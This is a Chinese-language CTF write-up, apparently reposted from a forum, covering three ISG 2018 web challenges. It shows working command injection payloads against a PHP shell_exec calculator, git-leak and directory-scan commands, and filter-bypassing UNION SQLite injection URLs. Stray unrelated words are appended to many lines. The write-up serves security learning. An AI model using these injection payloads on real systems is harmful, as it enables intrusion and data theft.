ISG 2018 Web Writeup

做者:agetflag

原文來自:ISG 2018 Web Writeup

ISG 2018 Web Writeup

CTF萌新,因此寫的比較基礎,請大佬們勿噴,比賽自己的Web題也不難javascript

calc

首先看到題目後,在輸入框中測試了一下,發現能夠被執行php

首先猜測是否是ssti,模板注入,可是日常遇到的模板注入題目中,python的居多,php的沒怎麼遇到過,有點懷疑若是是php的模板注入的話也不必定能搞得出來,這個時候掃一下目錄css

python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60

發現存在git源碼泄露html

直接上githack看看可以拖下來什麼東西java

python2 GitHack.py -u "http://202.120.7.205:60003/.git/"

index.php下載了下載python

開啓代碼審計模式mysql

第22~27行對GET方法是否被使用作了一次判斷linux

<?php $str=""; if(!empty($_GET)){     $str=$_GET["calc"]; } ?>

第40~42行對變量$str是否爲空作了一次判斷nginx

<?php if($str !== ""){ } ?>

接下來到第44~46行這裏,看到使用了shell_exec函數,基本能夠判斷爲命令注入了git

<?php     echo $str." = ".shell_exec("echo \"$str\" | bc"); ?>

接下來開始繞過

測試的話能夠把shell_exec裏面的內容粘貼到linux 的bash中進行測試

echo \"$str\" | bc

能夠看到\"轉義字符輸出"

echo "$str" | bc

$str函數是咱們能夠控制的值

開始繞過之旅

|在命令執行漏洞中常常用到,表示管道,上一條命令的輸出,做爲下一條命令參數

因此,會把echo 後的內容傳值到bc命令,可是通過測試發現bc命令是不存在的,因此用linux 中的註釋符#

註釋掉它,基本構造以下

echo "$str#" | bc

這樣來講,能夠註釋掉後面的bc命令了,可是由於有"的阻礙,使咱們無法達到目的,因此閉合掉雙引號,再加上管道符

構造以下

echo ""|$str#" | bc

$str替換爲ls命令,本地驗證經過

構造payload,列一下題目的當前目錄

"| ls #

發現flag文件there_1s_4_fl4g

構造payload讀取

"| cat there_1s_4_fl4g #

secret

題目打開以後有彈窗

隨便輸入後,提示密碼錯誤,右擊查看源代碼

發現第6~16行中包含了密碼和要輸出的內容

<script type="text/javascript">     a = prompt("Password");     if(a=="H4CK3D")     {         alert("Flag is '"+atob("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu")+"'");     }     else     {         alert("Wrong Password!");     } </script>

其中prompt方法用於顯示可提示用戶進行輸入的對話框

atob函數是javascript中用於解密base64編碼的方法,直接解密字符串

>>> import base64 >>> base64.b64decode("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu") b'You are Trapped :) This is not the flag. Check around.'

發現並無flag

提示讓咱們去周圍找一找

訪問index.html頁面,發現進行了302跳轉到了trap.html頁面

咱們直接查看index.html頁面的源碼


發現其6~8行進行了一次302跳轉

直接看下面的代碼

在45~55行中發現相似的前一個頁面的代碼

<script type="text/javascript">     a = prompt("Password");     if(a=="H4CK3D")     {         alert("Flag is "+atob("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9"));     }     else     {         alert("Wrong Password!");     } </script> 

直接解密獲得flag

>>> import base64 >>> base64.b64decode("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9") b'flag:ISG{H3IIO_1sG_js_Tr4p}'

news

這個題考察了sqlite的注入,進行了簡單的危險函數判斷

這裏剛開始普及一些sqllite知識

sqllite基礎

sqllite數據庫注入和mysql數據庫注入很像,不一樣點在於,sqllite數據庫沒有information_schema數據庫,而是採用sqlite_master表,來存儲當前數據庫中全部表的相關信息,好比表的名稱、用於建立此表的sql語句、索引、索引所屬的表、建立索引的sql語句等。它的字段有

type,name,tbl_name,rootpage,sql

type爲類型

1.查詢表信息

若是要查詢表的信息,則type字段爲「table」,name字段爲表的名稱,返回結果中返回的sql字段,爲建立此表的sql語句。

select * from sqlite_master where type=’table’ and name=‘表名’; 

2.查詢索引信息

若是要查詢索引信息,則type字段爲「index」,name字段爲索引名稱,返回結果中的tbl_name字段爲該索引所屬的表,sql字段爲建立此索引的sql語句。

select * from sqlite_master where type=’index’ and name=‘索引名’;

sql爲建立數據表的語句,這個對咱們很是有用

name 對於表來講,是當前表的名字,對於索引來講是當前索引的名稱

tbl_name是該索引所屬的表的名字

rootpage 根據字面意思理解,應該是這個對象在數據庫文件中的第一個頁面位置。相似鏈表的一個指針

手工注入

首先去看它的codesafe函數這裏判斷了什麼內容

在代碼的第47~51行

def codesafe(n):     if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n):         return False     else:         return True

能夠看到,當其中有select、空格、where='時,返回False

會觸發第73~74行這裏進行截斷返回

if not codesafe(id):             return 'Hacker?'

瞭解請了這些後,開始注入

首先,判斷空格能夠經過/**/,來進行繞過,判斷select能夠採用大小寫來繞過

where=能夠不用

這裏採用了僞靜態的模式,後面拼接.html多是web.py框架裏面內置判斷,不拼接.html會顯示404頁面

開始注入

判斷字段數爲2

http://202.120.7.206:60019/news-1/**/order/**/by/**/2.html

判斷顯示位

http://202.120.7.206:60019/news-4/**/union/**/Select/**/1,2.html

查看建表的sql語句,能夠直接獲取字段和表名

http://202.120.7.206:60019/news-4/**/union/**/Select/**/sql,2/**/from/**/sqlite_master.html

直接查看flag

http://202.120.7.206:60019/news-4/**/union/**/Select/**/flag,2/**/from/**/flag.html

你們有任何問題能夠提問,更多文章可到i春秋論壇閱讀喲~

相關文章
相關標籤/搜索